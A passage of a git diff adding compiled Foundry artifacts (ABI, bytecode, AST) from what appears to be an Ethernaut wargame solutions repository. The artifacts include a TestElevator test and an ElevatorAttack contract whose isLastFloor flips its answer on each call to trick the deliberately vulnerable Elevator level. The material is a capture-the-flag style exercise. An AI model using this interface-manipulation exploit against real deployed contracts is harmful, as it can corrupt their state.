external"}},"id":60592,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1805:21:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60593,"nodeType":"ExpressionStatement","src":"1805:21:128"},{"assignments":[60596],"declarations":[{"constant":false,"id":60596,"mutability":"mutable","name":"attack","nameLocation":"1852:6:128","nodeType":"VariableDeclaration","scope":60621,"src":"1837:21:128","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorAttack_$49316","typeString":"contract ElevatorAttack"},"typeName":{"id":60595,"nodeType":"UserDefinedTypeName","pathNode":{"id":60594,"name":"ElevatorAttack","nameLocations":["1837:14:128"],"nodeType":"IdentifierPath","referencedDeclaration":49316,"src":"1837:14:128"},"referencedDeclaration":49316,"src":"1837:14:128","typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorAttack_$49316","typeString":"contract ElevatorAttack"}},"visibility":"internal"}],"id":60601,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":60599,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1861:18:128","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_ElevatorAttack_$49316_$","typeString":"function () returns (contract ElevatorAttack)"},"typeName":{"id":60598,"nodeType":"UserDefinedTypeName","pathNode":{"id":60597,"name":"ElevatorAttack","nameLocations":["1865:14:128"],"nodeType":"IdentifierPath","referencedDeclaration":49316,"src":"1865:14:128"},"referencedDeclaration":49316,"src":"1865:14:128","typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorAttack_$49316","typeString":"contract ElevatorAttack"}}},"id":60600,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1861:20:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorAttack_$49316","typeString":"contract ElevatorAttack"}},"nodeType":"VariableDeclarationStatement","src":"1837:44:128"},{"expression":{"arguments":[{"arguments":[{"id":60607,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60457,"src":"1913:8:128","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}],"id":60606,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1905:7:128","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60605,"name":"address","nodeType":"ElementaryTypeName","src":"1905:7:128","typeDescriptions":{}}},"id":60608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1905:17:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":60602,"name":"attack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60596,"src":"1891:6:128","typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorAttack_$49316","typeString":"contract ElevatorAttack"}},"id":60604,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1898:6:128","memberName":"attack","nodeType":"MemberAccess","referencedDeclaration":49315,"src":"1891:13:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60609,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1891:32:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60610,"nodeType":"ExpressionStatement","src":"1891:32:128"},{"expression":{"arguments":[{"arguments":[{"id":60613,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60454,"src":"1965:9:128","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60616,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60457,"src":"1984:8:128","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}],"id":60615,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1976:7:128","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60614,"name":"address","nodeType":"ElementaryTypeName","src":"1976:7:128","typeDescriptions":{}}},"id":60617,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1976:17:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60612,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1945:19:128","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60618,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1945:49:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60611,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1934:10:128","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60619,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1934:61:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60620,"nodeType":"ExpressionStatement","src":"1934:61:128"}]},"documentation":{"id":60585,"nodeType":"StructuredDocumentation","src":"1718:44:128","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1776:9:128","parameters":{"id":60586,"nodeType":"ParameterList","parameters":[],"src":"1785:2:128"},"returnParameters":{"id":60587,"nodeType":"ParameterList","parameters":[],"src":"1795:0:128"},"scope":60623,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":60448,"name":"Test","nameLocations":["428:4:128"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"428:4:128"},"id":60449,"nodeType":"InheritanceSpecifier","src":"428:4:128"},{"baseName":{"id":60450,"name":"Utils","nameLocations":["434:5:128"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"434:5:128"},"id":60451,"nodeType":"InheritanceSpecifier","src":"434:5:128"}],"canonicalName":"TestElevator","contractDependencies":[49101,49316,52245,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[60623,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestElevator","nameLocation":"412:12:128","scope":60624,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":128} \ No newline at end of file diff --git a/contracts/out/ElevatorAttack.sol/ElevatorAttack.json b/contracts/out/ElevatorAttack.sol/ElevatorAttack.json new file mode 100644 index 000000000..ddfd573fb --- /dev/null +++ b/contracts/out/ElevatorAttack.sol/ElevatorAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"attack","inputs":[{"name":"_victim","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"isLast","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"isLastFloor","inputs":[{"name":"","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x60806040525f805460ff1916600117905534801561001b575f80fd5b506101a7806100295f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c80635f9a4bca14610043578063bc6ba2431461007e578063d018db3e1461008a575b5f80fd5b61006a610051366004610120565b505f805460ff19811660ff918216159081179092551690565b604051901515815260200160405180910390f35b5f5461006a9060ff1681565b61009d610098366004610137565b61009f565b005b6040517fed9a7134000000000000000000000000000000000000000000000000000000008152600a6004820152819073ffffffffffffffffffffffffffffffffffffffff82169063ed9a7134906024015f604051808303815f87803b158015610106575f80fd5b505af1158015610118573d5f803e3d5ffd5b505050505050565b5f60208284031215610130575f80fd5b5035919050565b5f60208284031215610147575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461016a575f80fd5b939250505056fea264697066735822122029d8d314b427d7de43bb0b23256212bcd7767482a464ba04044277b051070a4664736f6c63430008180033","sourceMap":"92:299:43:-:0;;;122:25;;;-1:-1:-1;;122:25:43;143:4;122:25;;;92:299;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b506004361061003f575f3560e01c80635f9a4bca14610043578063bc6ba2431461007e578063d018db3e1461008a575b5f80fd5b61006a610051366004610120565b505f805460ff19811660ff918216159081179092551690565b604051901515815260200160405180910390f35b5f5461006a9060ff1681565b61009d610098366004610137565b61009f565b005b6040517fed9a7134000000000000000000000000000000000000000000000000000000008152600a6004820152819073ffffffffffffffffffffffffffffffffffffffff82169063ed9a7134906024015f604051808303815f87803b158015610106575f80fd5b505af1158015610118573d5f803e3d5ffd5b505050505050565b5f60208284031215610130575f80fd5b5035919050565b5f60208284031215610147575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461016a575f80fd5b939250505056fea264697066735822122029d8d314b427d7de43bb0b23256212bcd7767482a464ba04044277b051070a4664736f6c63430008180033","sourceMap":"92:299:43:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;154:108;;;;;;:::i;:::-;-1:-1:-1;200:4:43;226:6;;-1:-1:-1;;216:16:43;;226:6;;;;225:7;216:16;;;;;;249:6;;154:108;;;;364:14:155;;357:22;339:41;;327:2;312:18;154:108:43;;;;;;;122:25;;;;;;;;;268:121;;;;;;:::i;:::-;;:::i;:::-;;;365:17;;;;;379:2;365:17;;;860:25:155;347:7:43;;365:13;;;;;;833:18:155;;365:17:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;308:81;268:121;:::o;14:180:155:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:155;;14:180;-1:-1:-1;14:180:155:o;391:309::-;450:6;503:2;491:9;482:7;478:23;474:32;471:52;;;519:1;516;509:12;471:52;558:9;545:23;608:42;601:5;597:54;590:5;587:65;577:93;;666:1;663;656:12;577:93;689:5;391:309;-1:-1:-1;;;391:309:155:o","linkReferences":{}},"methodIdentifiers":{"attack(address)":"d018db3e","isLast()":"bc6ba243","isLastFloor(uint256)":"5f9a4bca"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_victim\",\"type\":\"address\"}],\"name\":\"attack\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"isLast\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"isLastFloor\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/ElevatorAttack.sol\":\"ElevatorAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/ElevatorAttack.sol\":{\"keccak256\":\"0x1c751127636254a26b226b38329161f4b1a302aaa7bcd87d91c520001501bf97\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://138b717ba7798031f2d3f66692074797cacc011d190c2910a345af8ddce01a28\",\"dweb:/ipfs/Qmbw35HtjgBUXndacSJ9NUAXbJmp61MswmuCdJwyRJqtPY\"]},\"src/levels/Elevator.sol\":{\"keccak256\":\"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93\",\"dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_victim","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"attack"},{"inputs":[],"stateMutability":"view","type":"function","name":"isLast","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"isLastFloor","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/ElevatorAttack.sol":"ElevatorAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/ElevatorAttack.sol":{"keccak256":"0x1c751127636254a26b226b38329161f4b1a302aaa7bcd87d91c520001501bf97","urls":["bzz-raw://138b717ba7798031f2d3f66692074797cacc011d190c2910a345af8ddce01a28","dweb:/ipfs/Qmbw35HtjgBUXndacSJ9NUAXbJmp61MswmuCdJwyRJqtPY"],"license":"MIT"},"src/levels/Elevator.sol":{"keccak256":"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea","urls":["bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93","dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/ElevatorAttack.sol","id":49317,"exportedSymbols":{"Building":[52155],"Elevator":[52192],"ElevatorAttack":[49316]},"nodeType":"SourceUnit","src":"33:359:43","nodes":[{"id":49277,"nodeType":"PragmaDirective","src":"33:23:43","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49278,"nodeType":"ImportDirective","src":"58:32:43","nodes":[],"absolutePath":"src/levels/Elevator.sol","file":"../levels/Elevator.sol","nameLocation":"-1:-1:-1","scope":49317,"sourceUnit":52193,"symbolAliases":[],"unitAlias":""},{"id":49316,"nodeType":"ContractDefinition","src":"92:299:43","nodes":[{"id":49281,"nodeType":"VariableDeclaration","src":"122:25:43","nodes":[],"constant":false,"functionSelector":"bc6ba243","mutability":"mutable","name":"isLast","nameLocation":"134:6:43","scope":49316,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":49279,"name":"bool","nodeType":"ElementaryTypeName","src":"122:4:43","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":{"hexValue":"74727565","id":49280,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"143:4:43","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"visibility":"public"},{"id":49296,"nodeType":"FunctionDefinition","src":"154:108:43","nodes":[],"body":{"id":49295,"nodeType":"Block","src":"206:56:43","nodes":[],"statements":[{"expression":{"id":49291,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49288,"name":"isLast","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49281,"src":"216:6:43","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":49290,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"225:7:43","subExpression":{"id":49289,"name":"isLast","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49281,"src":"226:6:43","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"216:16:43","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49292,"nodeType":"ExpressionStatement","src":"216:16:43"},{"expression":{"id":49293,"name":"isLast","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49281,"src":"249:6:43","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":49287,"id":49294,"nodeType":"Return","src":"242:13:43"}]},"functionSelector":"5f9a4bca","implemented":true,"kind":"function","modifiers":[],"name":"isLastFloor","nameLocation":"163:11:43","parameters":{"id":49284,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49283,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49296,"src":"175:7:43","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49282,"name":"uint256","nodeType":"ElementaryTypeName","src":"175:7:43","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"174:9:43"},"returnParameters":{"id":49287,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49286,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49296,"src":"200:4:43","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":49285,"name":"bool","nodeType":"ElementaryTypeName","src":"200:4:43","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"199:6:43"},"scope":49316,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49315,"nodeType":"FunctionDefinition","src":"268:121:43","nodes":[],"body":{"id":49314,"nodeType":"Block","src":"308:81:43","nodes":[],"statements":[{"assignments":[49303],"declarations":[{"constant":false,"id":49303,"mutability":"mutable","name":"elevator","nameLocation":"327:8:43","nodeType":"VariableDeclaration","scope":49314,"src":"318:17:43","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"},"typeName":{"id":49302,"nodeType":"UserDefinedTypeName","pathNode":{"id":49301,"name":"Elevator","nameLocations":["318:8:43"],"nodeType":"IdentifierPath","referencedDeclaration":52192,"src":"318:8:43"},"referencedDeclaration":52192,"src":"318:8:43","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"visibility":"internal"}],"id":49307,"initialValue":{"arguments":[{"id":49305,"name":"_victim","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49298,"src":"347:7:43","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49304,"name":"Elevator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52192,"src":"338:8:43","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Elevator_$52192_$","typeString":"type(contract Elevator)"}},"id":49306,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"338:17:43","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"nodeType":"VariableDeclarationStatement","src":"318:37:43"},{"expression":{"arguments":[{"hexValue":"3130","id":49311,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"379:2:43","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":49308,"name":"elevator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49303,"src":"365:8:43","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"id":49310,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"374:4:43","memberName":"goTo","nodeType":"MemberAccess","referencedDeclaration":52191,"src":"365:13:43","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":49312,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"365:17:43","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49313,"nodeType":"ExpressionStatement","src":"365:17:43"}]},"functionSelector":"d018db3e","implemented":true,"kind":"function","modifiers":[],"name":"attack","nameLocation":"277:6:43","parameters":{"id":49299,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49298,"mutability":"mutable","name":"_victim","nameLocation":"292:7:43","nodeType":"VariableDeclaration","scope":49315,"src":"284:15:43","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49297,"name":"address","nodeType":"ElementaryTypeName","src":"284:7:43","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"283:17:43"},"returnParameters":{"id":49300,"nodeType":"ParameterList","parameters":[],"src":"308:0:43"},"scope":49316,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"ElevatorAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49316],"name":"ElevatorAttack","nameLocation":"101:14:43","scope":49317,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":43} \ No newline at end of file diff --git a/contracts/out/ElevatorFactory.sol/ElevatorFactory.json b/contracts/out/ElevatorFactory.sol/ElevatorFactory.json new file mode 100644 index 000000000..fb3207e66 --- /dev/null +++ b/contracts/out/ElevatorFactory.sol/ElevatorFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105f38061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610331565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610353565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610331565b6101bb565b610114610250565b61011d5f6102a9565b565b5f8060405161012d90610310565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050806001600160a01b031663fe6dcdba6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038a565b949350505050565b6101c3610250565b6001600160a01b0381166102445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024d816102a9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610214806103aa83390190565b6001600160a01b038116811461024d575f80fd5b5f60208284031215610341575f80fd5b813561034c8161031d565b9392505050565b5f8060408385031215610364575f80fd5b823561036f8161031d565b9150602083013561037f8161031d565b809150509250929050565b5f6020828403121561039a575f80fd5b8151801515811461034c575f80fdfe608060405234801561000f575f80fd5b506101f78061001d5f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c80634069536314610043578063ed9a71341461005f578063fe6dcdba14610074575b5f80fd5b61004c60015481565b6040519081526020015b60405180910390f35b61007261006d366004610184565b610090565b005b5f546100809060ff1681565b6040519015158152602001610056565b604051632fcd25e560e11b81526004810182905233908190635f9a4bca906024016020604051808303815f875af11580156100cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f1919061019b565b610180576001829055604051632fcd25e560e11b81526004810183905273ffffffffffffffffffffffffffffffffffffffff821690635f9a4bca906024016020604051808303815f875af115801561014b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061016f919061019b565b5f805460ff19169115159190911790555b5050565b5f60208284031215610194575f80fd5b5035919050565b5f602082840312156101ab575f80fd5b815180151581146101ba575f80fd5b939250505056fea2646970667358221220ecb8fe45bca969d79077e5b7f0d22bb397e660f136524e2d4955dbac43818fae64736f6c63430008180033a2646970667358221220d2757874285fee59d6513c5923b9aa2cd3357051380b2235ff3bb580d92112e964736f6c63430008180033","sourceMap":"111:418:76:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;111:418:76;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;111:418:76:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610331565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610353565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600